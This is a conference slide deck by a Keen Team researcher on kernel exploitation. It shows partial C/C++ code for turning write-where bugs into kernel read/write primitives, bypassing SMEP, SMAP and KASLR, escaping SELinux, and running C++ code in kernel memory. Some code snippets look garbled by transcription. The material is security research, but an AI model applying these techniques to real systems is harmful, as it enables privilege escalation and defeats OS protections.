Attack on the Core!

KEEN TEAM

@zer0mem
#whoami - Peter Hlavaty (@zer0mem)

[ KEEN TEAM ]

- **Background**
  - @K33nTeam
  - Previously ~4 years in ESET

- **Contact**
  - twitter: @zer0mem
  - weibo: weibo.com/u/5238732594
  - blog: http://zer0mem.sk
  - src: https://github.com/zer0mem
outline

ATTACKER

▪ KernelIo tech
▪ Vulnerability cases
▪ Design features (flaws)
▪ State of targets / security

DEVELOPER

▪ Point of view
▪ Goal
▪ Environment
▪ C++! no more shellcoding!
Part 1 -> KernelIo tech
Privileged cpl3 != cpl0

[NtQuerySystemInformation]

```c
size_t n_read = 0;
superfetch_info->Version = SUPERFETCH_INFORMATION_VERSION;
superfetch_info->Magic = SUPERFETCH_INFORMATION_MAGIC;
superfetch_info->InfoClass = SuperfetchPfQuery;
superfetch_info->Data = reinterpret_cast<PF_PFN_PRIQ_REQUEST*>(superfetch_info->Data + (superfetch_info->Data + sizeof(SUPERFETCH_INFORMATION) + sizeof(*superfetch_info->Data));

PF_PFN_PRIQ_REQUEST* request = superfetch_info->Data;
request->Version = PF_PFN_PRIQ_REQUEST.Version;
request->RequestFlags = PF_PFN_PRIQ_REQUEST_QUERY_MEMORY_LIST;
request->PfnCount = coundof(request->PageData);

for (size_t pfi = 0; pfi < (size_t)(n_read); pfi += request->PfnCount)
{
    for (size_t i = 0; i < request->PfnCount; i++)
        request->PageData[i].PageFrameIndex = pfi + i + 1;

    status = NtQuerySystemInformation(
        SystemSuperfetchInformation,
        superfetch_info->Data,
        sizeof(*superfetch_info),
        &n_read);

    for (size_t i = 0; i < countof(request->PageData); i++)
    {
```

- NtQueryInformation from win8.1 requires elevated privileges
- Still callable from user mode
- Driver Signing Enforcement does not like installing drivers even from privileged ones ...
- Privileged are empowered with good eye sight, kernel leakage
Read & Write boosting

- **write-where vuln**
- **what** => should be above read / write target
- Pool address can be sufficient
Read & Write boosting

```c
__checkReturn
void
CExploit::EnableKernelTouch()
{
    if (!HijackMMHighestUserAddress())
        return nullptr;

    //force to overwrite also this, else we have problem!
    while (!HijackMMUserProbeAddress());

    return reinterpret_cast<ntoskrnl*>(
        m_kernelSpace.GetNtBase())->MmUserProbeAddress();
}

void
CExploit::CleanUpKernel(
    __inout void* mmUserProbeAddress
)
{
    while (0 != NTWriteVirtualMemory(
        GetCurrentProcess(),
        mmUserProbeAddress,
        &m_mHiJackedInfo,
        sizeof(m_mHiJackedInfo),
        nullptr))
    {
    }

    NTSTATUS status = NTWriteVirtualMemory(
        GetCurrentProcess(),
        addr,
        buff,
        size,
        nullptr);
    return !status;
}
```
KPP is not here to punish attackers

leak & write - where-
(semi)what

patch & use & patch back

turned into full Kernello

ReadFile alternative just with
nt!MmUserProbeAddress

https://www.dropbox.com/sh/bkfaejgn2mn35ng/AABm_RyD4x9VLzYjI9n9Dl2Wa?dl=0

D1T2-Bypassing-Endpoint-Security-for-Fun-and-Profit.pdf
Read & Write boosting

[linux / droids]

- leak & write-where vuln
- what => should be above read / write target
- nullptr / pool address can be sufficient

CPipe()
{
    auto success = pipe(m_pipefd);  
    m_initialized = (success != -1);
}

bool Read(
    const void* addr,
    void* mem,
    size_t size
) override
{
    auto len = write(m_pipefd[IN], addr, size);  
    if (len != size)  
        return false;
    
    read(m_pipefd[OUT], mem, size);  
    return true;
}

bool Write(
    void* addr,
    const void* mem,
    size_t size
) override
{
    write(m_pipefd[IN], mem, size);  
    auto len = read(m_pipefd[OUT], addr, size);  
    return len == size;
}

struct thread_info {
    unsigned long rflags; /* low level flags */
    int *pref_count; /* 0 -> preemptable. <0 -&gt; bug */
    mm_segment_t addr_limit; /* address limit */
    struct task_struct *task; /* main task structure */
    struct exe_domain *exe_domain; /* execution domain */
    unsigned long cpus[32]; /* cpu */
    struct cpu_domain; /* cpu domain */
    unsigned long syscall_number;
    unsigned long read_cpi[]; /* thread used copro */
    unsigned long fp_value;
    struct crunch_state crunchstate;
    union fp_state fpstate __attribute__((aligned(8)));
    union vfp_state vfpstate;
};

http://vulnfactory.org/blog/2011/06/05/smep-what-is-it-and-how-to-beat-it-on-linux/
Read & Write boosting

[linux / droids]

- PXN UDEREF handle it
- PXN not in default build of linux
- On droids? XD
- turned into full Kernello

Why KernelIo?

- abstraction behind virtual address
- what is SMAP / SMEP about?
MMU straightforward idea

[PoC by MWR Labs]

1. choose address X with isolated page tables
   1. To be sure write-where does not hit other used memory
2. mmap (X)
3. Patch S/U bits (write-where)
4. S/U bits need to patch per PXE!
   1. self ref, can help 😊
5. cplo memcpy (X, shellcode)
6. Pwn (SMEP, SMAP out of the game)

https://labs.mwrinfosecurity.com/blog/2014/08/15/windows-8-kernel-memory-protections-bypass/
Symbolic cpl0 – cpl3 separators

“The ProbeForRead routine checks that a user-mode buffer actually resides in the user portion of the address space, and is correctly aligned.”

✔ Ok, what about aliasing?!
✔ and about ret2dir approach? 😊

https://www.usenix.org/conference/usenixsecurity14/technical-sessions/presentation/kemerlis
KERNEL - FAIL - SAFE - CHECKS

- `copy_to/from_user`
- `ProbeForRead/Write`
- Checking just symbolic values
- not cover **aliasing**…
Part 2 -> cases
Out of Boundary

1. Trivial to exploit
2. Generic implementation
3. write/read – where
4. NO - SMAP
5. but sometimes PXN
Out of Boundary

- what if SMAP enabled?
- Is over?
- **Read** — no problem, just do not try to read from usermode 😊
- **Write** — you have to know where to write — relative positioned structs

```c
bool ReadResolve(
    COutOfBoundaryRead* rw
)
{
    for (size_t i = 0; i < POOL_MAX_COUNT; i++)
    {
        m_pools[i] = static_cast<size_t>(SharedPtr(nullptr));
        if (INVALID_MEM == m_pools[i])
            OFFSET += BIG_PAGE;
    }
}

bool LeakProbe(
    COutOfBoundaryRead* rw,
    size_t ind,
    size_t pivot
)
{
    memcpy(&m_pools[ind][pivot], "KEENTEAM", sizeof(void*));
    if (m_pools[ind][pivot] != rw->DoRead(OFFSET))
        return false;
}
```
kmalloc under/overflow

1. under/overflowed kmalloc
2. copy_to/from_user
3. search_exception_table for frv, but idea same
4. force copy_to/from_user fail
5. Copied just controlled bytes even in under/overflow situation!
### KASLR

```c
size_t ResolveKiFastCallEntryAddr()
{
    printf("\nResolveKiFastCallEntryAddr; start from -> %p\n",
            reinterpret_cast<ntoskrnl*>((\n                WMIESTUSERADDRESS)\n            ) -> KiFastCallEntry());

    std::unique_ptr<\n        void, decltype(&RemoveVectoredExceptionHandler)>
        exc_hndlr(
            AddVectoredExceptionHandler(\n                1, OffEntryExceptionHandler),
            RemoveVectoredExceptionHandler);

    if (exc_hndlr.get())
        return NULL;

    for (size_t fast_call = reinterpret_cast<\n            ntoskrnl*>((\n                WMIESTUSERADDRESS)\n            ) -> KiFastCallEntry();
            fast_call && !\n            ~exit;
            fast_call += PAGE_SIZE)
    {
        if (\n            ki_fast_call_entry_leak(fast_call) != fast_call)
            return fast_call;
    }

    return NULL;
}
```

- From win8.1
  NtQuerySystemInfo is just for privileged user
- `/proc/kallsyms` same, just for privileged ones
- Need to info-leak
- Read-where vuln
- Abusing `weak` or `old` mechanism

**By Example:**

@j00ru Nice Trap Trick!
KASLR

- PageTable concept is old
- That time no hardening needed
- Crucial for performance
- Timing attacks, PageFault measuring, seems doable, see recent research
- A lot of static PHYSICAL addresses, KASLR weakened
- MMU mechanism attacks target of recent research, and it works ...

http://labs.bromium.com/2014/10/27/tsx-improves-timing-attacks-against-kaslr/
Part 3 -> design features (flaws)
Linked lists

- `nt!list_entry / list_head`
- `Lazy` list entry assertions
- Proper `design`?
- Manipulating next / prev `outside` of API?
- `Hardening`?

- Common member
- Intrusive containers
- Redirect list

- `pool leak` && `write-where`
- `Own content` && abussing algo?
Kernel hidden pointers

- Plenty of C++ alike vtables
- Callbacks
- ops
- Context func

Interesting design features

- Typecast instead of inheritance
- No integrity checks

- Plenty data pointers
- Sensitive trusted context

Plenty data structs

No hardening

Plain pointers

Kernel ops by design

- Callback mechanism
- open / write / read ...
- If not implemented **NULLPTR**
- If not implemented no call performed

1. nullptr write vuln
2. null some operation
3. Abuse scoped resource handling logic
4. pwn
Part 4 -> state of exploitation
before win8.1

even kids ...

“KASLR”
NtQuerySysInfo

POOL HARDENING

... do pwn

PLAIN PTRS

SMEP

SMAP

Trollol
Era of Windows 8.1, earlier and current Linux

- Cool, seems more hardening
- More software security features
- Access control improved
- UEFI
- Finally! More hardware features go implemented SMEP/SMAP, ...
- SMAP still waiting in some cases ....
- Exploiting coming finally challenging! BUT still kernel not hardened enough
Future of OS?

✓ Hardware features implemented
✓ Strong complex access control policy
✓ Well randomized kernel space
✓ Kicked off obsolete designs
✓ Well designed core
✓ No plain pointers
✓ Data integrity checks

KASLR
POOL HARDENING
HARDENED PTRS
SMEP
SMAP
Rebirth to KERNEL

Developing begins
CHANGING DIRECTION
[everything is just point of view]

Until now you were ATTACKER

• NO MATTER HOW, but get EXEC!
• hooks, patching, non-safe walkers, etc.

Now you are DEVELOPER!

• Pretend to be one of them
• Now you deal with KPP and others mitigations
Kernel windows DEVELOPER view

- In kernel, but some obstacles reminds:
  - PsSet * Routine, ObRegisterCallbacks, etc.
    - Callback integrity validation!
  - IoAttachDeviceToDeviceStack, IoQueueWorkItem
    - DEVICE_OBJECT* needed (own is preferable)
Kernel DEVELOPing begins

```
\*\*
```

- Kernel loader method, or :
  - Create your own!
    - IoCreateDevice
    - _OBJECT_HEADER + DRIVER_OBJECT
Kernel monitoring

[device attaching]

- Attach to driver
- Filter:
  - Network communication
  - File system communication
  - ...

```c
virtual
__drv_functionClass(DRIVER_DISPATCH)
__drv_requiresIRQL(PASSIVE_LEVEL)
__drv_sameIRQL
NTSTATUS
IrpNext(
    inout struct _DEVICE_OBJECT *DeviceObject,
    inout struct _IRP *Irp
) override
{
    switch (Irp->Tail.Overlay.CurrentStackLocation->MajorFunction)
    {
    case IRP_MJ_DEVICE_CONTROL:
        return DeviceControl(DeviceObject, Irp);
    default:
        return IrpPassThru(DeviceObject, Irp);
    }
}
```

```c
static
DRIVER_OBJECT
GetTargetDriverObject(
    __in_z const UNICODE_STRING * drvName
)
{
    UNICODE_STRING drv_name;
    RtlInitUnicodeString(&drv_name, drvName);
    FILE_OBJECT* file_obj;
    DEVICE_OBJECT* dvc_obj;
    NTSTATUS status = IoGetDeviceObjectPointer(&drv_name, 0, &file_obj, &dvc_obj);
    if (!NT_SUCCESS(status))
        return NULL;
    printf("\nGETIT : FileObject %p, DeviceObject %p\n", file_obj, dvc_obj);
    DerefObject<FILE_OBJECT> deref_obj(file_obj);
    return dvc_obj->DriverObject;
}
```
Kernel monitoring

- File System Filter Driver
- FAST_IO_DISPATCH
  - Register dropped files
  - Access to files
  - ...
- Also minifilters are option

```c
FAST_IO_DISPATCH g_fastIoDispatch =
{
    sizeof(FAST_IO_DISPATCH),
    FsFilterFastIoCheckIfPossible,
    ...
};

NTSTATUS DriverEntry(
    __inout DRIVER_OBJECT DriverObject,
    __in     UNICODE_STRING RegistryPath
)
{
    ...
    // DriverEntry - Entry point of the driver
    // Set fast-io dispatch table.
    DriverObject->FastIoDispatch = &g_fastIoDispatch;
    ...
}```
Kernel monitoring

- IoCompletion
  - Monitor ALPC
  - Used by resolving host, etc. etc.
  - Remote process communication
  - Per process

```cpp
void IoCompletionCallback()
{
    m_pPacket(
        IoAllocateMiniCompletionPacket(MiniPacketCallbackInterceptor, this),
        IoFreeMiniCompletionPacket)
    [
    ]
}

bool StartIntercepting(
    in _ALPC_PORT* alpcPort,
    in void* keyContext)
{
    if (!m_pPacket.get())
        return false;
    if (!alpcPort->CompletionPort)
        return false;

    IoSetIoCompletionEx(
        alpcPort->CompletionPort,
        keyContext,
        nullptr,
        NULL,
        NULL,
        FALSE,
        m_pPacket.get());

    return true;
}
```
Linux, everything is a file

```c
struct file_operations {
    struct module *owner;
    loff_t (*llseek) (struct file *, loff_t, int);
    ssize_t (*read) (struct file *, char __user *, size_t, loff_t);
    ssize_t (*write) (struct file *, const char __user *, size_t, loff_t);
    ssize_t (*poll) (struct file *, struct poll_table_entry *);
    int (*readdir) (struct file *, void __user *, filldir_t);
    unsigned int (*fadvise64) (struct file *, offset_t, int, int);
    long (*unlocked_ioctl) (struct file *, unsigned int, unsigned long);
    int (*compat_ioctl) (struct file *, unsigned int, unsigned long);
    int (*mmmap) (struct file *, struct vm_area_struct *);
    int (*open) (struct inode *, struct file *);
    int (*mmap) (struct file *, struct vm_area_struct *);
    int (*flush) (struct file *, f_owner_t id);
    int (*release) (struct inode *, struct file *);
    int (*fsync) (struct file *, loff_t, int, int); /* FSYNC */
    int (*fasync) (int, struct file *, int);
    int (*lock) (struct file *, int, struct file_lock *);
    size_t (*fallocate) (struct file *, int, size_t, loff_t);
    int (*fdatasync) (int, struct file *, int);
    int (*seekpage) (struct file *, struct page *, int, size_t, loff_t, int);
    int (*set_lease) (struct file *, int, struct file_lock *);
    long (*flock) (struct file *, int, struct file_lock *);
    ssize_t (*splice_write) (struct file *, offset_t, int, size_t,
                              ssize_t, size_t, loff_t *);
    ssize_t (*splice_read) (struct file *, loff_t *, int, size_t, size_t, int);
    int (*unmap) (struct file *, int, struct file_lock *);
    long (*allocate) (struct file *, int, mode_t, loff_t offset, loff_t len);
} ;
```

1. Kernel ops
2. Find in which one you are interesting in
3. Register to chain
4. cdev_add (register_chrdev)
SELinux, SEAndroid, ACL

- Kernel escape
- Natural bypass

Feature:
1. Developing superuser daemon
2. does not rely on special syscalls
3. Normal application development, api ...
4. Separation of responsibilities
5. Kernel – bypass policy checks
6. Daemon – provide boosted functionality to user
come on ... why shellcoding or pure c ?
Exploitation means developing!

- C++ is about compiler & your skills
- You think you can write better shellcode than compiler? 😊
- You can code really close to assembly level – when you know your compiler
- C++ is well maintainable, scalable, and modulable
- Design patterns
- Complex frameworks

https://github.com/mattifestation/PIC_Bindshell (Window Shellcode in C)
Exploiting is development!

- Before you can write PoC for exploits as easy as hello world
- Things getting complex
- Now with same style you can end up with unreadable master piece
- Next time you have good time to rewriting lot of the same logic
- And at the end you end up with black-boxes chained together with black-magic, somehow working
- Something will change ... start fixing black-box
Exploitation framework can be powerful

- UserCode in kernel allowed!
  - Kernel code hidden inside binary
  - Fully C++ driver!

- Mixing User & Kernel code
  - Just avoid direct linking imported kernel functions!
  - Also avoid to mixing um & km headers together in compile time ;)
  - Compile standalone kernel code as .lib
  - Link kernel code .lib to exploit .exe
1. Copy whole PE to RWE kernel page
   - ExAllocatePool(NonPagedPoolExecute, SizeOfImage);

2. Fix Rellocations

3. resolve kernel part of Import table

4. Ready for exec with CPL0!

KERNEL as exploitation VECTOR
Raise of C++, no more shellcoding!

1. Mixing user & kernel code
2. no imports
3. c++
4. relocations
5. Dynamic loader
Raise of C++, no more shellcoding!

1. **c++ kernel code**
2. Compiled with user mode code
3. No Imports, but does not impact code
C++ ‘shellcoding’ framework

- no import table
- no need to handle imports by your own
- .py scripts set up all imports
- no need to code position independent code
- fixups resolved by loader
- C++ (partially also std & boost) supported
- no need to ship kernel code as resource, or shellcode
- no need to special coding style to kernel module, classical developing
- All features (c++, imports, fixups..) applies to kernel code as well

http://www.zeromem.sk/?p=517
http://www.hollistech.com/Resources/Cpp/kernel_c_runtime_library.htm
http://www.codeproject.com/Articles/22801/Drivers-Exceptions-and-C
C++ ‘shellcoding’ framework

https://github.com/k33nteam/cc-shellcoding

releasing very soon

@K33nTeam
materials

(not listed in slides before)

- [www.bitnuts.de/KernelBasedMonitoring.pdf](http://www.bitnuts.de/KernelBasedMonitoring.pdf)
- [https://projects.honeynet.org/svn/capture-hpc/capture-hpc/tags/2.5/capture-client/KernelDrivers/CaptureKernelDrivers/FileMonitor/CaptureFileMonitor.c](https://projects.honeynet.org/svn/capture-hpc/capture-hpc/tags/2.5/capture-client/KernelDrivers/CaptureKernelDrivers/FileMonitor/CaptureFileMonitor.c)

- [http://www.osronline.com/article.cfm?article=199](http://www.osronline.com/article.cfm?article=199)
Acknowledge

Thanks to:

rafal wojtczuk
cesarcer

jfang

liac

aionescu

wushi

nforest

jooru

krzywix

dan rosenberg

NTarakanov
We are hiring!

- #1 vulnerability research team in China
  - http://www.k33nteam.org/cvelist.htm
  - pwn2own

- Enjoying research?
  - Mobile (Android, iOS, WP)
  - PC (Windows, OS X, Chrome OS, etc.)

- Willing to move to Shanghai?
  - Beijing?

- Want to join our team?
  - Application security
  - Kernel security

hr (at) keencloudtech.com
First Worldwide Security Geek Contest
for Smart Devices

2014 - $500,000
2015 - $????????

Pick a device, name your own challenge!

www.geekpwn.org
Thank You.

Q & A

follow us
@K33nTeam

peter (at) keencloudtech.com